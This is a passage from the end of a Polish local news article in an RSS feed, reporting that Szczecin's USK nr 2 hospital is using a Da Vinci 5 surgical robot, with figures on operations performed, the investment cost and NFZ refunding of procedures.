<h3 data-start="2394" data-end="2414">Chirurgia ogólna</h3>
<p data-start="2415" data-end="2560">System pomaga w skomplikowanych operacjach jelita grubego i odbytnicy. Szczególnie wtedy, gdy warunki anatomiczne w miednicy mniejszej są trudne.</p>
<p data-start="2415" data-end="2560"><img decoding="async" class="aligncenter size-full wp-image-8083" src="https://szczecinportal.pl/wp-content/uploads/2026/02/usk-2-pomorzany-szczecin-szpital.jpg" alt="USK 2 Pomorzany Szczecin Szpital" width="800" height="500" srcset="https://szczecinportal.pl/wp-content/uploads/2026/02/usk-2-pomorzany-szczecin-szpital.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/02/usk-2-pomorzany-szczecin-szpital-300x188.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/02/usk-2-pomorzany-szczecin-szpital-768x480.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/02/usk-2-pomorzany-szczecin-szpital-750x469.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2 data-start="2562" data-end="2637">Liczby, które pokazują skalę: 458 operacji i blisko 20 mln zł inwestycji</h2>
<p data-start="2639" data-end="2839">USK nr 2 nie zaczyna od zera. W <strong data-start="2671" data-end="2684">2025 roku</strong> wykonano tu <strong data-start="2697" data-end="2713">458 operacji</strong> z użyciem robota chirurgicznego. To wynik, który stawia szczeciński ośrodek w krajowej czołówce pod względem liczby zabiegów.</p>
<p data-start="2841" data-end="2994">Zakup Da Vinci 5 był możliwy dzięki środkom z <strong data-start="2887" data-end="2915">Krajowego Planu Odbudowy</strong>. Cała inwestycja kosztowała <strong data-start="2944" data-end="2968">19 995 120 zł brutto</strong> (czyli blisko 20 mln zł).</p>
<h2 data-start="2996" data-end="3053">Refundacja NFZ: najważniejsza informacja dla pacjentów</h2>
<p data-start="3055" data-end="3374">Dla mieszkańców Pomorza Zachodniego kluczowe jest to, że wiele wysokospecjalistycznych procedur jest dziś <strong data-start="3161" data-end="3188">refundowanych przez NFZ</strong>. Dotyczy to m.in. leczenia raka prostaty, jelita grubego czy błony śluzowej macicy. W praktyce oznacza to dostęp do nowoczesnych metod bez ponoszenia kosztów zabiegu z własnej kieszeni.</p>
<p data-start="3376" data-end="3498">Szczecin dostaje więc nie tylko sprzęt „z topu”. Dostaje realne narzędzie leczenia, które już pracuje na sali operacyjnej.</p>
<p>Artykuł <a href="https://szczecinportal.pl/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie/">Da Vinci 5 w Szczecinie: najnowszy robot chirurgiczny już operuje na Pomorzanach (i to jako jedyny w regionie)</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
